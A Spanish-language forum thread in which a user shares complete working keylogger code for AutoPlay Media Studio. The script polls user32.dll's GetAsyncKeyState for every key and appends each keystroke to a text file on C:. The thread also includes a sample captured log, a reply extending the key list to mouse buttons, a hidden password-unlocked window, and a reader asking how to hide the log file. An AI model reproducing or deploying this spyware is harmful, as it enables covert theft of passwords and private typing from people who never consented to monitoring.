Keylogger integro en ams sin plugins

Puedes encontrar todo tipo de tutoriales y manuales referentes a AMS
Bueno este es un pequeño ejemplo que he diseñado a partir de tener que resolver una duda para obtener eventos de tecla cuando la ventana no tiene el foco. Este ejemplo capturará todos los eventos de teclado descritos en la tabla VK, aunque yo eliminaria de la tabla los que no se vallan a utilizar ya que cada uno es llamando mediante una dll 20 veces por segundo, cuantos menos haya pues mejor.

Utilizadlo solo para buenas cosas no la lieis, cabrones.

On Show:
VK={};
iterator=1

VK[iterator] = {"CLEAR" , "0x0C"}; iterator= iterator+1;
VK[iterator] = {"RETURN" , "0x0D"}; iterator= iterator+1;

VK[iterator] = {"SHIFT" , "0x10"}; iterator= iterator+1;
VK[iterator] = {"CONTROL" , "0x11"}; iterator= iterator+1;
VK[iterator] = {"MENU" , "0x12"}; iterator= iterator+1;
VK[iterator] = {"PAUSE" , "0x13"}; iterator= iterator+1;
VK[iterator] = {"CAPITAL" , "0x14"}; iterator= iterator+1;
VK[iterator] = {"KANA" , "0x15"}; iterator= iterator+1;
VK[iterator] = {"HANGEUL" , "0x15"}; iterator= iterator+1;
VK[iterator] = {"HANGUL" , "0x15"}; iterator= iterator+1;

VK[iterator] = {"JUNJA" , "0x17"}; iterator= iterator+1;
VK[iterator] = {"FINAL" , "0x18"}; iterator= iterator+1;
VK[iterator] = {"HANJA" , "0x19"}; iterator= iterator+1;
VK[iterator] = {"KANJI" , "0x19"}; iterator= iterator+1;

VK[iterator] = {"ESCAPE" , "0x1B"}; iterator= iterator+1;
VK[iterator] = {"CONVERT" , "0x1C"}; iterator= iterator+1;
VK[iterator] = {"NONCONVERT" , "0x1D"}; iterator= iterator+1;
VK[iterator] = {"ACCEPT" , "0x1E"}; iterator= iterator+1;
VK[iterator] = {"MODECHANGE" , "0x1F"}; iterator= iterator+1;
VK[iterator] = {"SPACE" , "0x20"}; iterator= iterator+1;
VK[iterator] = {"PRIOR" , "0x21"}; iterator= iterator+1;
VK[iterator] = {"NEXT" , "0x22"}; iterator= iterator+1;
VK[iterator] = {"END" , "0x23"}; iterator= iterator+1;
VK[iterator] = {"HOME" , "0x24"}; iterator= iterator+1;
VK[iterator] = {"LEFT" , "0x25"}; iterator= iterator+1;
VK[iterator] = {"UP" , "0x26"}; iterator= iterator+1;
VK[iterator] = {"RIGHT" , "0x27"}; iterator= iterator+1;
VK[iterator] = {"DOWN" , "0x28"}; iterator= iterator+1;
VK[iterator] = {"SELECT" , "0x29"}; iterator= iterator+1;
VK[iterator] = {"PRINT" , "0x2A"}; iterator= iterator+1;
VK[iterator] = {"EXECUTE" , "0x2B"}; iterator= iterator+1;
VK[iterator] = {"SNAPSHOT" , "0x2C"}; iterator= iterator+1;
VK[iterator] = {"INSERT" , "0x2D"}; iterator= iterator+1;
VK[iterator] = {"DELETE" , "0x2E"}; iterator= iterator+1;
VK[iterator] = {"HELP" , "0x2F"}; iterator= iterator+1;

VK[iterator] = {"LWIN" , "0x5B"}; iterator= iterator+1;
VK[iterator] = {"RWIN" , "0x5C"}; iterator= iterator+1;
VK[iterator] = {"APPS" , "0x5D"}; iterator= iterator+1;

VK[iterator] = {"SLEEP" , "0x5F"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD0" , "0x60"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD1" , "0x61"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD2" , "0x62"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD3" , "0x63"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD4" , "0x64"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD5" , "0x65"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD6" , "0x66"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD7" , "0x67"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD8" , "0x68"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD9" , "0x69"}; iterator= iterator+1;
VK[iterator] = {"MULTIPLY" , "0x6A"}; iterator= iterator+1;
VK[iterator] = {"ADD" , "0x6B"}; iterator= iterator+1;
VK[iterator] = {"SEPARATOR" , "0x6C"}; iterator= iterator+1;
VK[iterator] = {"SUBTRACT" , "0x6D"}; iterator= iterator+1;
VK[iterator] = {"DECIMAL" , "0x6E"}; iterator= iterator+1;
VK[iterator] = {"DIVIDE" , "0x6F"}; iterator= iterator+1;
VK[iterator] = {"F1" , "0x70"}; iterator= iterator+1;
VK[iterator] = {"F2" , "0x71"}; iterator= iterator+1;
VK[iterator] = {"F3" , "0x72"}; iterator= iterator+1;
VK[iterator] = {"F4" , "0x73"}; iterator= iterator+1;
VK[iterator] = {"F5" , "0x74"}; iterator= iterator+1;
VK[iterator] = {"F6" , "0x75"}; iterator= iterator+1;
VK[iterator] = {"F7" , "0x76"}; iterator= iterator+1;
VK[iterator] = {"F8" , "0x77"}; iterator= iterator+1;
VK[iterator] = {"F9" , "0x78"}; iterator= iterator+1;
VK[iterator] = {"F10" , "0x79"}; iterator= iterator+1;
VK[iterator] = {"F11" , "0x7A"}; iterator= iterator+1;
VK[iterator] = {"F12" , "0x7B"}; iterator= iterator+1;
VK[iterator] = {"F13" , "0x7C"}; iterator= iterator+1;
VK[iterator] = {"F14" , "0x7D"}; iterator= iterator+1;
VK[iterator] = {"F15" , "0x7E"}; iterator= iterator+1;
VK[iterator] = {"F16" , "0x7F"}; iterator= iterator+1;
VK[iterator] = {"F17" , "0x80"}; iterator= iterator+1;
VK[iterator] = {"F18" , "0x81"}; iterator= iterator+1;
VK[iterator] = {"F19" , "0x82"}; iterator= iterator+1;
VK[iterator] = {"F20" , "0x83"}; iterator= iterator+1;
VK[iterator] = {"F21" , "0x84"}; iterator= iterator+1;
VK[iterator] = {"F22" , "0x85"}; iterator= iterator+1;
VK[iterator] = {"F23" , "0x86"}; iterator= iterator+1;
VK[iterator] = {"F24" , "0x87"}; iterator= iterator+1;

VK[iterator] = {"NUMLOCK" , "0x90"}; iterator= iterator+1;
VK[iterator] = {"SCROLL" , "0x91"}; iterator= iterator+1;
VK[iterator] = {"OEM_NEC_EQUAL" , "0x92"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_JISHO" , "0x92"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_MASSHOU" , "0x93"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_TOUROKU" , "0x94"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_LOYA" , "0x95"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_ROYA" , "0x96"}; iterator= iterator+1;

VK[iterator] = {"LSHIFT" , "0xA0"}; iterator= iterator+1;
VK[iterator] = {"RSHIFT" , "0xA1"}; iterator= iterator+1;
VK[iterator] = {"LCONTROL" , "0xA2"}; iterator= iterator+1;
VK[iterator] = {"RCONTROL" , "0xA3"}; iterator= iterator+1;
VK[iterator] = {"LMENU" , "0xA4"}; iterator= iterator+1;
VK[iterator] = {"RMENU" , "0xA5"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_BACK" , "0xA6"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_FORWARD" , "0xA7"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_REFRESH" , "0xA8"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_STOP" , "0xA9"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_SEARCH" , "0xAA"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_FAVORITES" , "0xAB"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_HOME" , "0xAC"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_MUTE" , "0xAD"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_DOWN" , "0xAE"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_UP" , "0xAF"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_NEXT_TRACK" , "0xB0"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_PREV_TRACK" , "0xB1"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_STOP" , "0xB2"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_PLAY_PAUSE" , "0xB3"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_MAIL" , "0xB4"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_MEDIA_SELECT" , "0xB5"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_APP1" , "0xB6"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_APP2" , "0xB7"}; iterator= iterator+1;

VK[iterator] = {"OEM_1" , "0xBA"}; iterator= iterator+1;
VK[iterator] = {"OEM_PLUS" , "0xBB"}; iterator= iterator+1;
VK[iterator] = {"OEM_COMMA" , "0xBC"}; iterator= iterator+1;
VK[iterator] = {"OEM_MINUS" , "0xBD"}; iterator= iterator+1;
VK[iterator] = {"OEM_PERIOD" , "0xBE"}; iterator= iterator+1;
VK[iterator] = {"OEM_2" , "0xBF"}; iterator= iterator+1;
VK[iterator] = {"OEM_3" , "0xC0"}; iterator= iterator+1;

VK[iterator] = {"OEM_4" , "0xDB"}; iterator= iterator+1;
VK[iterator] = {"OEM_5" , "0xDC"}; iterator= iterator+1;
VK[iterator] = {"OEM_6" , "0xDD"}; iterator= iterator+1;
VK[iterator] = {"OEM_7" , "0xDE"}; iterator= iterator+1;
VK[iterator] = {"OEM_8" , "0xDF"}; iterator= iterator+1;

VK[iterator] = {"OEM_AX" , "0xE1"}; iterator= iterator+1;
VK[iterator] = {"OEM_102" , "0xE2"}; iterator= iterator+1;
VK[iterator] = {"ICO_HELP" , "0xE3"}; iterator= iterator+1;
VK[iterator] = {"ICO_00" , "0xE4"}; iterator= iterator+1;
VK[iterator] = {"PROCESSKEY" , "0xE5"}; iterator= iterator+1;
VK[iterator] = {"ICO_CLEAR" , "0xE6"}; iterator= iterator+1;
VK[iterator] = {"PACKET" , "0xE7"}; iterator= iterator+1;

VK[iterator] = {"OEM_RESET" , "0xE9"}; iterator= iterator+1;
VK[iterator] = {"OEM_JUMP" , "0xEA"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA1" , "0xEB"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA2" , "0xEC"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA3" , "0xED"}; iterator= iterator+1;
VK[iterator] = {"OEM_WSCTRL" , "0xEE"}; iterator= iterator+1;
VK[iterator] = {"OEM_CUSEL" , "0xEF"}; iterator= iterator+1;
VK[iterator] = {"OEM_ATTN" , "0xF0"}; iterator= iterator+1;
VK[iterator] = {"OEM_FINISH" , "0xF1"}; iterator= iterator+1;
VK[iterator] = {"OEM_COPY" , "0xF2"}; iterator= iterator+1;
VK[iterator] = {"OEM_AUTO" , "0xF3"}; iterator= iterator+1;
VK[iterator] = {"OEM_ENLW" , "0xF4"}; iterator= iterator+1;
VK[iterator] = {"OEM_BACKTAB" , "0xF5"}; iterator= iterator+1;
VK[iterator] = {"ATTN" , "0xF6"}; iterator= iterator+1;
VK[iterator] = {"CRSEL" , "0xF7"}; iterator= iterator+1;
VK[iterator] = {"EXSEL" , "0xF8"}; iterator= iterator+1;
VK[iterator] = {"EREOF" , "0xF9"}; iterator= iterator+1;
VK[iterator] = {"PLAY" , "0xFA"}; iterator= iterator+1;
VK[iterator] = {"ZOOM" , "0xFB"}; iterator= iterator+1;
VK[iterator] = {"NONAME" , "0xFC"}; iterator= iterator+1;
VK[iterator] = {"PA1" , "0xFD"}; iterator= iterator+1;
VK[iterator] = {"OEM_CLEAR" , "0xFE"}; iterator= iterator+1;

VK[iterator] = {"0" , "0x30"}; iterator= iterator+1;
VK[iterator] = {"1" , "0x31"}; iterator= iterator+1;
VK[iterator] = {"2" , "0x32"}; iterator= iterator+1;
VK[iterator] = {"3" , "0x33"}; iterator= iterator+1;
VK[iterator] = {"4" , "0x34"}; iterator= iterator+1;
VK[iterator] = {"5" , "0x35"}; iterator= iterator+1;
VK[iterator] = {"6" , "0x36"}; iterator= iterator+1;
VK[iterator] = {"7" , "0x37"}; iterator= iterator+1;
VK[iterator] = {"8" , "0x38"}; iterator= iterator+1;
VK[iterator] = {"9" , "0x39"}; iterator= iterator+1;

VK[iterator] = {"A" , "0x41"}; iterator= iterator+1;
VK[iterator] = {"B" , "0x42"}; iterator= iterator+1;
VK[iterator] = {"C" , "0x43"}; iterator= iterator+1;
VK[iterator] = {"D" , "0x44"}; iterator= iterator+1;
VK[iterator] = {"E" , "0x45"}; iterator= iterator+1;
VK[iterator] = {"F" , "0x46"}; iterator= iterator+1;
VK[iterator] = {"G" , "0x47"}; iterator= iterator+1;
VK[iterator] = {"H" , "0x48"}; iterator= iterator+1;
VK[iterator] = {"I" , "0x49"}; iterator= iterator+1;
VK[iterator] = {"J" , "0x4A"}; iterator= iterator+1;
VK[iterator] = {"K" , "0x4B"}; iterator= iterator+1;
VK[iterator] = {"L" , "0x4C"}; iterator= iterator+1;
VK[iterator] = {"M" , "0x4D"}; iterator= iterator+1;
VK[iterator] = {"N" , "0x4E"}; iterator= iterator+1;
VK[iterator] = {"O" , "0x4F"}; iterator= iterator+1;
VK[iterator] = {"P" , "0x50"}; iterator= iterator+1;
VK[iterator] = {"Q" , "0x51"}; iterator= iterator+1;
VK[iterator] = {"R" , "0x52"}; iterator= iterator+1;
VK[iterator] = {"S" , "0x53"}; iterator= iterator+1;
VK[iterator] = {"T" , "0x54"}; iterator= iterator+1;
VK[iterator] = {"U" , "0x55"}; iterator= iterator+1;
VK[iterator] = {"V" , "0x56"}; iterator= iterator+1;
VK[iterator] = {"W" , "0x57"}; iterator= iterator+1;
VK[iterator] = {"X" , "0x58"}; iterator= iterator+1;
VK[iterator] = {"Y" , "0x59"}; iterator= iterator+1;
VK[iterator] = {"Z" , "0x5A"}; iterator= iterator+1;


Page.StartTimer(50, 10);
On Timer:
for k,v in pairs(VK) do
	result = DLL.CallFunction("c:\\windows\\system32\\user32.dll", "GetAsyncKeyState", Math.HexToNumber(v[2]), DLL_RETURN_TYPE_INTEGER, DLL_CALL_STDCALL);
	if tostring(result) == "-32767" then
		TextFile.WriteFromString("C:\\KLGRPABLOKO.txt", v[1].." ", true);
	end
end
Esto ira guardando todas las teclas pulsadas en el archivo definido, yo preferiria guardarlo en una tabla sqlite un registro por cada tecla + un timestamp pero bueno es un ejemplo didactico y no lo voy a usar mucho asi que ahi lo dejo para quien lo necesite.

ser buenos
ejemplo de captura mientras escribia este post

Código: Seleccionar todo

 Y O SPACE E L I M I N A R I A SPACE D E SPACE L A SPACE T A B L A SPACE L O S SPACE Q U E SPACE N O SPACE S E SPACE V A L L A N SPACE A SPACE U T I L I Z A R SPACE Y SPACE Q U E SPACE C D A SPACE U N O SPACE E S SPACE L L A M A N D O SPACE M E D I A N T E SPACE U N A SPACE D L L SPACE 5 SPACE V C E S SPACE P O R SPACE S E G U N G O D O OEM_COMMA SPACE C U A N T O S SPACE M E S S SPACE M E N O S SPACE H A Y A SPACE P U S SPACE M E J O R OEM_PERIOD RETURN RETURN CAPITAL U CAPITAL T I L I Z A D L O SPACE S O L O SPACE P A R A SPACE B U E N A S SPACE S SPACE C O S A S SPACE N O L A SPACE L I E I S OEM_COMMA SPACE C A B R O N E S OEM_PERIOD RETURN RETURN CAPITAL O CAPITAL N SPACE CAPITAL S CAPITAL CAPITAL S CAPITAL T A R T U P SHIFT LSHIFT OEM_PERIOD RETURN CONTROL LCONTROL A CONTROL LCONTROL C G O W LEFT LEFT H DOWN CONTROL LCONTROL V RETURN RETURN CAPITAL O CAPITAL N SPACE CAPITAL T CAPITAL I M E R SHIFT LSHIFT OEM_PERIOD RETURN CONTROL LCONTROL C CONTROL LCONTROL V RETURN RETURN CAPITAL E CAPITAL S T O SPACE I R A SPACE G U A R D A N T O SPACE T O D O SPACE T O D A S SPACE L A S SPACE T E C L A S P U L S A D A S SPACE E N SPACE E L SPACE A R C H I V O SPACE D E F I N I D O OEM_COMMA SPACE Y O SPACE P E R E F E R I A R I A SPACE G U A R D A R L O SPACE E N SPACE U N A SPACE T A B L A SPACE S Q L I T E SPACE U N SPACE R E G I S T R O SPACE P O R SPACE C A A D A SPACE T E C L A SPACE ADD SPACE U N SPACE T I M E S T A M O P SPACE P E R O SPACE B U E N O SPACE E S SPACE U N SPACE J E M P L O SPACE D I D A C T I C O SPACE Y SPACE N O SPACE L O SPACE V O Y SPACE A SPACE U S A R SPACE M U C H O SPACE A S I SPACE Q U E SPACE A H I SPACE L O SPACE D E J O SPACE P A R A SPACE Q U I E N SPACE L O SPACE N E C E S I T E OEM_PERIOD RETURN RETURN S E R SPACE B U E N O S 
buen trabajo bro.
Faltaban estas teclas

VK[iterator] = {"BACK_RETURN" , "0x08"}; iterator= iterator+1;
VK[iterator] = {"MOUSE_LBUTTON" , "0x01"}; iterator= iterator+1;
VK[iterator] = {"MOUSE_RBUTTON" , "0x02"}; iterator= iterator+1;
VK[iterator] = {"CANCEL" , "0x03"}; iterator= iterator+1;
VK[iterator] = {"MOUSE_MBUTTON" , "0x04"}; iterator= iterator+1;
VK[iterator] = {"TAB" , "0x09"}; iterator= iterator+1;
Ser buenos con esto!
Imagen
HIDE: ON
Hidebb Message Hidden Description


Para que la ventana aparezca hay que teclear la contraseña en este caso... pabloko
jaja, gracias!
o.o haberlo :D
La ostia! Gracias! :)
Chido Chingon Perron
thanks
thanks
muy bueno
que guay

se podrian usar en algun proyecto ....

gracias !
testing
muy bueno
JODER! O.o
PABLOKO, si queremos que el archivo .txt esté oculto... tendriamos que darle el valor false en vez de true en on timer?

:normas: :yeah:

También lo que sería bueno es que nos explicaras cada uno de los pasos... eso estaría genial...

Muchas gracias por tú aporte..... es buenisimo.... :friends:
muy bueno lo veo haver que tal
muy bueno lo veo haver que tal
mensajero1 escribió:PABLOKO, si queremos que el archivo .txt esté oculto... tendriamos que darle el valor false en vez de true en on timer?

:normas: :yeah:

También lo que sería bueno es que nos explicaras cada uno de los pasos... eso estaría genial...

Muchas gracias por tú aporte..... es buenisimo.... :friends:
pues no, si pones false, solo se va a guardar en el txt el ultimo caracter, y no quedara el historial, el codigo tampoco tiene mucha trama, simplemente llama la dll 1 vez por caracter y si encuentra que esta pulsado escribe, nada del otro mundo